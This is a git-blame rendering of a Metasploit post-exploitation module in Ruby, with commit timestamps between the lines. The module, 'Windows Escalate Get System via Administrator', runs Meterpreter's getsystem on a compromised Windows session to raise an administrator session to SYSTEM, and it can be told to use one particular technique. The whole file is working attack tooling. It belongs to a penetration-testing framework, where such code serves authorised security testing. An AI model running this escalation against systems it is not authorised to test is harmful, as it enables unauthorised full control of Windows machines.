2011-11-11 22:19:49 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2011-11-11 22:19:49 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
require 'metasm'
|
|
|
|
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Post
|
2011-11-11 22:19:49 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Post::Windows::Priv
|
|
|
|
|
|
|
|
def initialize(info={})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Windows Escalate Get System via Administrator',
|
|
|
|
'Description' => %q{
|
|
|
|
This module uses the builtin 'getsystem' command to escalate
|
|
|
|
the current session to the SYSTEM account from an administrator
|
|
|
|
user account.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => 'hdm',
|
|
|
|
'Platform' => [ 'win' ],
|
|
|
|
'SessionTypes' => [ 'meterpreter' ]
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptInt.new('TECHNIQUE', [false, "Specify a particular technique to use (1-4), otherwise try them all", 0])
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def unsupported
|
2016-10-14 00:10:04 +00:00
|
|
|
print_error("This platform is not supported with this script!")
|
2013-08-30 21:28:54 +00:00
|
|
|
raise Rex::Script::Completed
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
2016-08-16 04:51:05 +00:00
|
|
|
technique = datastore['TECHNIQUE'].to_i
|
2013-08-30 21:28:54 +00:00
|
|
|
|
2016-10-14 00:10:04 +00:00
|
|
|
unsupported if client.platform !~ /windows/i
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
if is_system?
|
|
|
|
print_good("This session already has SYSTEM privileges")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2016-08-16 04:51:05 +00:00
|
|
|
begin
|
|
|
|
result = client.priv.getsystem(technique)
|
|
|
|
print_good("Obtained SYSTEM via technique #{result[1]}")
|
|
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
|
|
print_error("Failed to obtain SYSTEM access")
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
|
|
|
end
|
2011-11-11 22:19:49 +00:00
|
|
|
|
|
|
|
end
|